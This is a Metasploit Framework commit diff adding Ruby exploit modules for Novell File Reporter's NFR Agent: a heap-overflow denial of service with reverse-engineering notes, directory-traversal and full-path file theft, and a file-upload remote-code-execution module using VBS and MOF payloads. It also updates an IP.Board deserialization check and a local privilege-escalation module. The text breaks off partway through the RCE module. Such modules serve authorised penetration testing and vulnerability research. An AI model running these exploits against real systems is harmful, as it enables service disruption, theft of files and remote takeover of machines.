Merge branch 'master' into ms12-005_mod
commit
f784ea65af
|
@ -0,0 +1,234 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Auxiliary::Dos
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'NFR Agent Heap Overflow Vulnerability',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a heap overflow in NFRAgent.exe, a component of Novell
|
||||||
|
File Reporter (NFR). The vulnerability occurs when handling requests of name "SRS",
|
||||||
|
where NFRAgent.exe fails to generate a response in a secure way, copying user
|
||||||
|
controlled data into a fixed-length buffer in the heap without bounds checking.
|
||||||
|
This module has been tested against NFR Agent 1.0.4.3 (File Reporter 1.0.2).
|
||||||
|
},
|
||||||
|
'Author' => [ 'juan vazquez' ],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' => [
|
||||||
|
[ 'CVE', 'CVE-2012-4956' ],
|
||||||
|
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959' ]
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Nov 16 2012'))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(3037),
|
||||||
|
OptBool.new('SSL', [true, 'Use SSL', true])
|
||||||
|
], self.class)
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def rport
|
||||||
|
datastore['RPORT']
|
||||||
|
end
|
||||||
|
|
||||||
|
def peer
|
||||||
|
"#{rhost}:#{rport}"
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
record = "<RECORD>"
|
||||||
|
record << "<NAME>SRS</NAME><OPERATION>4</OPERATION><CMD>7</CMD>" # Operation
|
||||||
|
record << "<VOL>#{Rex::Text.rand_text_alpha(10)}</VOL>" * 0xc35 # Volumes
|
||||||
|
record << "</RECORD>"
|
||||||
|
|
||||||
|
md5 = Rex::Text.md5("SRS" + record + "SERVER").upcase
|
||||||
|
message = md5 + record
|
||||||
|
|
||||||
|
print_status("#{peer} - Triggering a heap overflow to cause DoS...")
|
||||||
|
|
||||||
|
begin
|
||||||
|
res = send_request_cgi(
|
||||||
|
{
|
||||||
|
'uri' => '/FSF/CMD',
|
||||||
|
'version' => '1.1',
|
||||||
|
'method' => 'POST',
|
||||||
|
'ctype' => "text/xml",
|
||||||
|
'data' => message,
|
||||||
|
})
|
||||||
|
rescue ::Errno::ECONNRESET
|
||||||
|
print_good("#{peer} - NFR Agent didn't answer, DoS seems successful")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
if res
|
||||||
|
print_error("#{peer} - NFR Agent didn't die, it still answers...")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
print_good("#{peer} - NFR Agent didn't answer, DoS seems successful")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
=begin
|
||||||
|
|
||||||
|
* Static analysis
|
||||||
|
|
||||||
|
1) Handling of "SRS" records happens in handle_SRS_sub_4048D0:
|
||||||
|
|
||||||
|
.text:00404BE9 add esp, 0Ch
|
||||||
|
.text:00404BEC push 14h ; length_arg_C
|
||||||
|
.text:00404BEE lea eax, [ebp+record_name_var_28]
|
||||||
|
.text:00404BF1 push eax ; result_arg_8
|
||||||
|
.text:00404BF2 push offset aName ; "NAME"
|
||||||
|
.text:00404BF7 mov ecx, [ebp+message_arg_8]
|
||||||
|
.text:00404BFA add ecx, 20h
|
||||||
|
.text:00404BFD push ecx ; xml_message_arg_0
|
||||||
|
.text:00404BFE mov ecx, [ebp+var_2C]
|
||||||
|
.text:00404C01 call parse_tag_sub_40A760 ; search tag "NAME" in the xml_message_arg_0 and store contents int he "record_name_var_28" variable
|
||||||
|
.text:00404C06 movzx edx, al
|
||||||
|
.text:00404C09 test edx, edx
|
||||||
|
.text:00404C0B jz short loc_404C8B
|
||||||
|
.text:00404C0D push offset aSrs_2 ; "SRS"
|
||||||
|
.text:00404C12 lea eax, [ebp+record_name_var_28]
|
||||||
|
.text:00404C15 push eax ; char *
|
||||||
|
.text:00404C16 call _strcmp ; compares the contents of the "NAME" element in the xml message from the request with the "SRS" string.
|
||||||
|
.text:00404C1B add esp, 8
|
||||||
|
.text:00404C1E test eax, eax
|
||||||
|
.text:00404C20 jnz short loc_404C38 ; if not "SRS" name check others, if yes, handle it...
|
||||||
|
.text:00404C22 mov ecx, [ebp+message_arg_8]
|
||||||
|
.text:00404C25 push ecx ; void *
|
||||||
|
.text:00404C26 mov edx, [ebp+arg_4]
|
||||||
|
.text:00404C29 push edx ; int
|
||||||
|
.text:00404C2A mov eax, [ebp+arg_0]
|
||||||
|
.text:00404C2D push eax ; int
|
||||||
|
.text:00404C2E call handle_SRS_sub_4048D0 ; handle the XML message with the RECORD of NAME "SRS"
|
||||||
|
|
||||||
|
2) In this function memory is allocated to store the response which will be build:
|
||||||
|
|
||||||
|
.text:00404903 push 0C350h ; size_t
|
||||||
|
.text:00404908 call _malloc
|
||||||
|
.text:0040490D add esp, 4
|
||||||
|
.text:00404910 mov [ebp+response_var_8], eax
|
||||||
|
|
||||||
|
0:007> g
|
||||||
|
Breakpoint 0 hit
|
||||||
|
eax=009e68b8 ebx=003f3bf8 ecx=b85645ca edx=7c90e4f4 esi=003f3bf8 edi=00000000
|
||||||
|
eip=00404908 esp=0120ff4c ebp=0120ff58 iopl=0 nv up ei pl nz na po nc
|
||||||
|
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
|
||||||
|
NFRAgent+0x4908:
|
||||||
|
00404908 e84cef0300 call NFRAgent+0x43859 (00443859)
|
||||||
|
0:007> dd esp L1
|
||||||
|
0120ff4c 0000c350
|
||||||
|
0:007> p
|
||||||
|
eax=01220110 ebx=003f5e20 ecx=7c9101bb edx=009e0608 esi=003f5e20 edi=00000000
|
||||||
|
eip=0040490d esp=0120ff4c ebp=0120ff58 iopl=0 nv up ei pl nz na po nc
|
||||||
|
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
|
||||||
|
NFRAgent+0x490d:
|
||||||
|
0040490d 83c404 add esp,4
|
||||||
|
0:007> !heap -p -a eax
|
||||||
|
address 01220110 found in
|
||||||
|
_HEAP @ 9e0000
|
||||||
|
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
|
||||||
|
01220108 186b 0000 [01] 01220110 0c350 - (busy)
|
||||||
|
|
||||||
|
3) The SRS record used in this module is handled by:
|
||||||
|
|
||||||
|
.text:004082E0 ; int __stdcall SRS_7_4_sub_4082E0(char *xml_message_arg_0, char
|
||||||
|
*result_response_arg_4)
|
||||||
|
|
||||||
|
4) The handling function allow to overflow the heap buffer when a big number of VOL elements are processed:
|
||||||
|
|
||||||
|
for ( vol_object_var_254 = v25; vol_object_var_254; vol_object_var_254 = *(_DWORD
|
||||||
|
*)(vol_object_var_254 + 12) )
|
||||||
|
{
|
||||||
|
parse_tag_sub_40A760((void *)v15, *(const char **)vol_object_var_254, (int)"VOL",
|
||||||
|
&vol_name_var_20c, 0x1F4u); // get VOL element
|
||||||
|
volume_fspace_vol_35C = handle_volume_sub_4081E0(&vol_name_var_20c); // Retrieve Volume
|
||||||
|
Free Space
|
||||||
|
volume_fscape_var_358 = v2;
|
||||||
|
vol_name_html_encode_var_494 = html_encode_sub_40B490(&vol_name_var_20c); // HTML Encode
|
||||||
|
the volume name (user controlled data)
|
||||||
|
if ( vol_name_html_encode_var_494 )
|
||||||
|
{ // If the volume name has been HTML Encoded
|
||||||
|
v3 = volume_fscape_var_358;
|
||||||
|
v4 = volume_fspace_vol_35C;
|
||||||
|
v5 = vol_name_html_encode_var_494;
|
||||||
|
v6 = strlen(result_response_arg_4);
|
||||||
|
sprintf(&result_response_arg_4[v6], "<VOL><NAME>%s</NAME><FSPACE>%I64d</FSPACE></VOL>",
|
||||||
|
v5, v4, v3); // Vulnerability!!! sprintf user controlled data (volume name) to the end of the
|
||||||
|
fix-length buffer in the heap without bound checking
|
||||||
|
free(vol_name_html_encode_var_494);
|
||||||
|
vol_name_html_encode_var_494 = 0;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{ // If the volume name hasn’t been HTML Encoded
|
||||||
|
v7 = volume_fscape_var_358;
|
||||||
|
v8 = volume_fspace_vol_35C;
|
||||||
|
v9 = strlen(result_response_arg_4);
|
||||||
|
sprintf(
|
||||||
|
&result_response_arg_4[v9], // Vulnerability!!! sprintf user controlled data (volume
|
||||||
|
name) to the end of the fix-length buffer in the heap without bound checking
|
||||||
|
"<VOL><NAME>%s</NAME><FSPACE>%I64d</FSPACE></VOL>",
|
||||||
|
&vol_name_var_20c,
|
||||||
|
v8,
|
||||||
|
v7);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
The results for every volume (VOL element) are attached to the fixed-length heap buffer via the sprintf at 004085C5:
|
||||||
|
|
||||||
|
Breakpoint 1 hit
|
||||||
|
eax=0122013e ebx=003f5e20 ecx=01220110 edx=c7ff3d52 esi=00479f89 edi=0120f1a1
|
||||||
|
eip=004085c5 esp=0120eec8 ebp=0120f3c0 iopl=0 nv up ei pl nz na po nc
|
||||||
|
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
|
||||||
|
NFRAgent+0x85c5:
|
||||||
|
004085c5 e84ea70300 call NFRAgent+0x42d18 (00442d18)
|
||||||
|
0:007> dd esp L1
|
||||||
|
0120eec8 0122013e
|
||||||
|
0:007> !heap -p -a 0122013e
|
||||||
|
address 0122013e found in
|
||||||
|
_HEAP @ 9e0000
|
||||||
|
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
|
||||||
|
01220108 186b 0000 [01] 01220110 0c350 - (busy)
|
||||||
|
0:007> da poi(esp+4)
|
||||||
|
0047a040 "<VOL><NAME>%s</NAME><FSPACE>%I64"
|
||||||
|
0047a060 "d</FSPACE></VOL>"
|
||||||
|
0:007> da poi(esp+8)
|
||||||
|
01250208 "AAAAAAAAAA"
|
||||||
|
|
||||||
|
After the loop handling VOL overflows the heap buffer and both heap chunk metadata and contents are
|
||||||
|
overwritten for the chunk just after the vulnerable one:
|
||||||
|
|
||||||
|
0:007> g
|
||||||
|
Breakpoint 0 hit
|
||||||
|
eax=00000000 ebx=003f5e20 ecx=00443085 edx=012501b0 esi=00479f89 edi=0120f1a1
|
||||||
|
eip=00408645 esp=0120eedc ebp=0120f3c0 iopl=0 nv up ei pl zr na pe nc
|
||||||
|
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
|
||||||
|
NFRAgent+0x8645:
|
||||||
|
00408645 c7852cfbffff00000000 mov dword ptr [ebp-4D4h],0 ss:0023:0120eeec=03ee2001
|
||||||
|
0:007> !heap -p -a 01220110
|
||||||
|
address 01220110 found in
|
||||||
|
_HEAP @ 9e0000
|
||||||
|
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
|
||||||
|
01220108 186b 0000 [01] 01220110 0c350 - (busy)
|
||||||
|
0:007> !heap -p -a 01220110+0xc350
|
||||||
|
address 0122c460 found in
|
||||||
|
_HEAP @ 9e0000
|
||||||
|
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
|
||||||
|
0122c460 3e45 0000 [46] 0122c468 1f220 - (free)
|
||||||
|
0:007> db 0122c460 L8
|
||||||
|
0122c460 45 3e 30 3c 2f 46 53 50 E>0</FSP
|
||||||
|
0:007> db 0122c468 L10
|
||||||
|
0122c468 41 43 45 3e 3c 2f 56 4f-4c 3e 3c 56 4f 4c 3e 3c ACE></VOL><VOL><
|
||||||
|
=end
|
|
@ -0,0 +1,86 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# Framework web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/framework/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit4 < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
include Msf::Auxiliary::Scanner
|
||||||
|
|
||||||
|
def initialize
|
||||||
|
super(
|
||||||
|
'Name' => 'NFR Agent FSFUI Record Arbitrary Remote File Access',
|
||||||
|
'Description' => %q{
|
||||||
|
NFRAgent.exe, a component of Novell File Reporter (NFR), allows remote attackers to retrieve
|
||||||
|
arbitrary text files via a directory traversal while handling requests to /FSF/CMD
|
||||||
|
with an FSFUI record with UICMD 126. This module has been tested successfully
|
||||||
|
against NFR Agent 1.0.4.3 (File Reporter 1.0.2) and NFR Agent 1.0.3.22 (File
|
||||||
|
Reporter 1.0.1).
|
||||||
|
},
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'CVE', 'CVE-2012-4958' ],
|
||||||
|
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959' ]
|
||||||
|
],
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'juan vazquez'
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'DisclosureDate' => "Nov 16 2012"
|
||||||
|
)
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(3037),
|
||||||
|
OptBool.new('SSL', [true, 'Use SSL', true]),
|
||||||
|
OptString.new('RFILE', [true, 'Remote File', 'boot.ini']),
|
||||||
|
OptInt.new('DEPTH', [true, 'Traversal depth', 6])
|
||||||
|
], self.class)
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def rport
|
||||||
|
datastore['RPORT']
|
||||||
|
end
|
||||||
|
|
||||||
|
def peer
|
||||||
|
"#{rhost}:#{rport}"
|
||||||
|
end
|
||||||
|
|
||||||
|
def run_host(ip)
|
||||||
|
|
||||||
|
traversal = "..\\" * datastore['DEPTH']
|
||||||
|
record = "<RECORD><NAME>FSFUI</NAME><UICMD>126</UICMD><FILE>#{traversal}#{datastore['RFILE']}</FILE></RECORD>"
|
||||||
|
md5 = Rex::Text.md5("SRS" + record + "SERVER").upcase
|
||||||
|
message = md5 + record
|
||||||
|
|
||||||
|
print_status("#{peer} - Retrieving the file contents")
|
||||||
|
|
||||||
|
res = send_request_cgi(
|
||||||
|
{
|
||||||
|
'uri' => '/FSF/CMD',
|
||||||
|
'version' => '1.1',
|
||||||
|
'method' => 'POST',
|
||||||
|
'ctype' => "text/xml",
|
||||||
|
'data' => message,
|
||||||
|
})
|
||||||
|
|
||||||
|
if res and res.code == 200 and res.body =~ /<RESULT><VERSION>1<\/VERSION><STATUS>0<\/STATUS><CFILE><\!\[CDATA\[(.*)\]\]><\/CFILE><\/RESULT>/m
|
||||||
|
loot = $1
|
||||||
|
f = ::File.basename(datastore['RFILE'])
|
||||||
|
path = store_loot('novell.filereporter.file', 'application/octet-stream', rhost, loot, f, datastore['RFILE'])
|
||||||
|
print_status("#{peer} - #{datastore['RFILE']} saved in #{path}")
|
||||||
|
else
|
||||||
|
print_error("#{peer} - Failed to retrieve the file contents")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
|
@ -0,0 +1,86 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# Framework web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/framework/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit4 < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
include Msf::Auxiliary::Scanner
|
||||||
|
|
||||||
|
def initialize
|
||||||
|
super(
|
||||||
|
'Name' => 'NFR Agent SRS Record Arbitrary Remote File Access',
|
||||||
|
'Description' => %q{
|
||||||
|
NFRAgent.exe, a component of Novell File Reporter (NFR), allows remote attackers to retrieve
|
||||||
|
arbitrary files via a request to /FSF/CMD with a SRS Record with OPERATION 4 and
|
||||||
|
CMD 103, specifying a full pathname. This module has been tested successfully
|
||||||
|
against NFR Agent 1.0.4.3 (File Reporter 1.0.2) and NFR Agent 1.0.3.22 (File
|
||||||
|
Reporter 1.0.1).
|
||||||
|
},
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'CVE', 'CVE-2012-4957' ],
|
||||||
|
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959' ]
|
||||||
|
],
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'juan vazquez'
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'DisclosureDate' => "Nov 16 2012"
|
||||||
|
)
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(3037),
|
||||||
|
OptBool.new('SSL', [true, 'Use SSL', true]),
|
||||||
|
OptString.new('RFILE', [true, 'Remote File', 'c:\\boot.ini'])
|
||||||
|
], self.class)
|
||||||
|
|
||||||
|
register_autofilter_ports([ 3037 ])
|
||||||
|
deregister_options('RHOST')
|
||||||
|
end
|
||||||
|
|
||||||
|
def rport
|
||||||
|
datastore['RPORT']
|
||||||
|
end
|
||||||
|
|
||||||
|
def peer
|
||||||
|
"#{rhost}:#{rport}"
|
||||||
|
end
|
||||||
|
|
||||||
|
def run_host(ip)
|
||||||
|
|
||||||
|
record = "<RECORD><NAME>SRS</NAME><OPERATION>4</OPERATION><CMD>103</CMD><PATH>#{datastore['RFILE']}</PATH></RECORD>"
|
||||||
|
md5 = Rex::Text.md5("SRS" + record + "SERVER").upcase
|
||||||
|
message = md5 + record
|
||||||
|
|
||||||
|
print_status("#{peer} - Retrieving the file contents")
|
||||||
|
|
||||||
|
res = send_request_cgi(
|
||||||
|
{
|
||||||
|
'uri' => '/FSF/CMD',
|
||||||
|
'version' => '1.1',
|
||||||
|
'method' => 'POST',
|
||||||
|
'ctype' => "text/xml",
|
||||||
|
'data' => message,
|
||||||
|
})
|
||||||
|
|
||||||
|
if res and res.code == 200 and not res.body =~ /<RESULT>/
|
||||||
|
loot = res.body
|
||||||
|
f = ::File.basename(datastore['RFILE'])
|
||||||
|
path = store_loot('novell.filereporter.file', 'application/octet-stream', rhost, loot, f, datastore['RFILE'])
|
||||||
|
print_status("#{peer} - #{datastore['RFILE']} saved in #{path}")
|
||||||
|
else
|
||||||
|
print_error("#{peer} - Failed to retrieve the file contents")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
|
@ -31,7 +31,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
},
|
},
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
'EgiX', # Vulnerability discovery and PoC
|
'EgiX', # Vulnerability discovery, PoC, work on check() and cookie_prefix() methods
|
||||||
'juan vazquez', # Metasploit module
|
'juan vazquez', # Metasploit module
|
||||||
'sinn3r' # PhpEXE tekniq & check() method
|
'sinn3r' # PhpEXE tekniq & check() method
|
||||||
],
|
],
|
||||||
|
@ -69,28 +69,39 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
return base
|
return base
|
||||||
end
|
end
|
||||||
|
|
||||||
def check
|
def cookie_prefix
|
||||||
res = send_request_raw({'uri'=>"#{base}index.php"})
|
print_status("#{@peer} - Checking for cookie prefix")
|
||||||
return Exploit::CheckCode::Unknown if not res
|
cookie_prefix = ""
|
||||||
|
res = send_request_cgi(
|
||||||
|
{
|
||||||
|
'uri' => "#{base}index.php",
|
||||||
|
'method' => 'GET'
|
||||||
|
})
|
||||||
|
|
||||||
version = res.body.scan(/Community Forum Software by IP\.Board (\d+)\.(\d+).(\d+)/).flatten
|
if res and res.code == 200 and res.headers['Set-Cookie'] =~ /(.+)session/
|
||||||
return Exploit::CheckCode::Safe if version.empty?
|
print_status("#{@peer} - Cookie prefix #{$1} found")
|
||||||
version = version.map {|e| e.to_i}
|
cookie_prefix = $1
|
||||||
|
|
||||||
# We only want major version 3
|
|
||||||
# This version checking is based on OSVDB's info
|
|
||||||
return Exploit::CheckCode::Safe if version[0] != 3
|
|
||||||
|
|
||||||
case version[1]
|
|
||||||
when 1
|
|
||||||
return Exploit::CheckCode::Vulnerable if version[2].between?(0, 4)
|
|
||||||
when 2
|
|
||||||
return Exploit::CheckCode::Vulnerable if version[2].between?(0, 3)
|
|
||||||
when 3
|
|
||||||
return Exploit::CheckCode::Vulnerable if version[2].between?(0, 4)
|
|
||||||
end
|
end
|
||||||
|
return cookie_prefix
|
||||||
|
end
|
||||||
|
|
||||||
return Exploit::CheckCode::Safe
|
def check
|
||||||
|
@peer = "#{rhost}:#{rport}"
|
||||||
|
check_str = Rex::Text.uri_encode('a:1:{i:0;O:1:"x":0:{}}')
|
||||||
|
res = send_request_cgi(
|
||||||
|
{
|
||||||
|
'uri' => "#{base}index.php",
|
||||||
|
'method' => 'GET',
|
||||||
|
'cookie' => "#{cookie_prefix}session_id=#{check_str}"
|
||||||
|
})
|
||||||
|
|
||||||
|
if res and res.code == 500 or res.body =~ /PHP_Incomplete_Class/
|
||||||
|
return Exploit::CheckCode::Vulnerable
|
||||||
|
elsif res and res.code == 200
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
else
|
||||||
|
return Exploit::CheckCode::Unknown
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def on_new_session(client)
|
def on_new_session(client)
|
||||||
|
@ -110,20 +121,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
@upload_php = rand_text_alpha(rand(4) + 4) + ".php"
|
@upload_php = rand_text_alpha(rand(4) + 4) + ".php"
|
||||||
@peer = "#{rhost}:#{rport}"
|
@peer = "#{rhost}:#{rport}"
|
||||||
|
|
||||||
print_status("#{@peer} - Checking for cookie prefix")
|
|
||||||
res = send_request_cgi(
|
|
||||||
{
|
|
||||||
'uri' => "#{base}index.php",
|
|
||||||
'method' => 'GET'
|
|
||||||
})
|
|
||||||
|
|
||||||
if res and res.code == 200 and res.headers['Set-Cookie'] =~ /(.+)session/
|
|
||||||
print_status("#{@peer} - Cookie prefix #{$1} found")
|
|
||||||
cookie_prefix = $1
|
|
||||||
else
|
|
||||||
cookie_prefix = ""
|
|
||||||
end
|
|
||||||
|
|
||||||
# get_write_exec_payload uses a function, which limits our ability to support
|
# get_write_exec_payload uses a function, which limits our ability to support
|
||||||
# Linux payloads, because that requires a space:
|
# Linux payloads, because that requires a space:
|
||||||
# function my_cmd
|
# function my_cmd
|
||||||
|
|
|
@ -50,6 +50,11 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
|
|
||||||
|
isadmin = session.railgun.shell32.IsUserAnAdmin()
|
||||||
|
if isadmin['return']
|
||||||
|
print_error('Already in elevated state. Exiting...')
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Verify use against Vista+
|
# Verify use against Vista+
|
||||||
|
@ -95,6 +100,31 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Check if you are an admin
|
||||||
|
print_status('Checking admin status...')
|
||||||
|
whoami = session.sys.process.execute('cmd /c whoami /groups',
|
||||||
|
nil,
|
||||||
|
{'Hidden' => true, 'Channelized' => true}
|
||||||
|
)
|
||||||
|
cmdout = []
|
||||||
|
isinadmins = []
|
||||||
|
while(cmdoutput = whoami.channel.read)
|
||||||
|
cmdout << cmdoutput
|
||||||
|
end
|
||||||
|
if cmdout.size == 0
|
||||||
|
print_error('Either whoami is not there or failed to execute')
|
||||||
|
print_error('Continuing under assumption you already checked...')
|
||||||
|
else
|
||||||
|
isinadmins = cmdout[0].split("\r\n").grep(/S-1-5-32-544/)
|
||||||
|
if isinadmins.size > 0
|
||||||
|
print_good('Part of Administrators group! Continuing...')
|
||||||
|
else
|
||||||
|
print_error('Not in admins group, cannot escalate with this module')
|
||||||
|
print_error('Exiting...')
|
||||||
|
return
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Generate payload and random names for upload
|
# Generate payload and random names for upload
|
||||||
#
|
#
|
||||||
|
|
|
@ -0,0 +1,149 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = GreatRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::EXE
|
||||||
|
include Msf::Exploit::WbemExec
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'NFR Agent FSFUI Record File Upload RCE',
|
||||||
|
'Description' => %q{
|
||||||
|
NFRAgent.exe, a component of Novell File Reporter (NFR), allows remote attackers to upload
|
||||||
|
arbitrary files via a directory traversal while handling requests to /FSF/CMD with
|
||||||
|
FSFUI records with UICMD 130. This module has been tested successfully against NFR
|
||||||
|
Agent 1.0.4.3 (File Reporter 1.0.2) and NFR Agent 1.0.3.22 (File Reporter 1.0.1).
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'juan vazquez'
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'CVE', 'CVE-2012-4959'],
|
||||||
|
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959' ]
|
||||||
|
],
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'Space' => 2048,
|
||||||
|
'StackAdjustment' => -3500
|
||||||
|
},
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'WfsDelay' => 20
|
||||||
|
},
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
#Windows before Vista
|
||||||
|
[ 'Automatic', { } ]
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DisclosureDate' => 'Nov 16 2012'))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(3037),
|
||||||
|
OptBool.new('SSL', [true, 'Use SSL', true]),
|
||||||
|
OptInt.new('DEPTH', [true, 'Traversal depth', 6])
|
||||||
|
], self.class)
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def on_new_session(client)
|
||||||
|
|
||||||
|
return if not @var_mof_name
|
||||||
|
return if not @var_vbs_name
|
||||||
|
|
||||||
|
if client.type != "meterpreter"
|
||||||
|
print_error("NOTE: you must use a Meterpreter payload in order to automatically clean up.")
|
||||||
|
print_error("The following files must be removed manually:")
|
||||||
|
print_error("The VBS payload: %WINDIR%\\system32\\#{@var_vbs_name}.vbs")
|
||||||
|
print_error("The MOF file (%WINDIR%\\system32\\wbem\\mof\\good\\#{@var_mof_name}.mof)")
|
||||||
|
return # That's it
|
||||||
|
end
|
||||||
|
|
||||||
|
# stdapi must be loaded before we can use fs.file
|
||||||
|
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
|
||||||
|
|
||||||
|
begin
|
||||||
|
print_good("Deleting the VBS payload \"#{@var_vbs_name}.vbs\" ...")
|
||||||
|
windir = client.fs.file.expand_path("%WINDIR%")
|
||||||
|
client.fs.file.rm("#{windir}\\system32\\" + @var_vbs_name + ".vbs")
|
||||||
|
print_good("Deleting the MOF file \"#{@var_mof_name}.mof\" ...")
|
||||||
|
cmd = "#{windir}\\system32\\attrib.exe -r " +
|
||||||
|
"#{windir}\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof"
|
||||||
|
client.sys.process.execute(cmd, nil, {'Hidden' => true })
|
||||||
|
client.fs.file.rm("#{windir}\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof")
|
||||||
|
rescue ::Exception => e
|
||||||
|
print_error("Exception: #{e.inspect}")
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def peer
|
||||||
|
"#{rhost}:#{rport}"
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
|
||||||
|
# In order to save binary data to the file system the payload is written to a .vbs
|
||||||
|
# file and execute it from there.
|
||||||
|
@var_mof_name = rand_text_alpha(rand(5)+5)
|
||||||
|
@var_vbs_name = rand_text_alpha(rand(5)+5)
|
||||||
|
|
||||||
|
print_status("Encoding payload into VBS...")
|
||||||
|
payload = generate_payload_exe
|
||||||
|
vbs_content = Msf::Util::EXE.to_exe_vbs(payload)
|
||||||
|
|
||||||
|
print_status("Generating VBS file...")
|
||||||
|
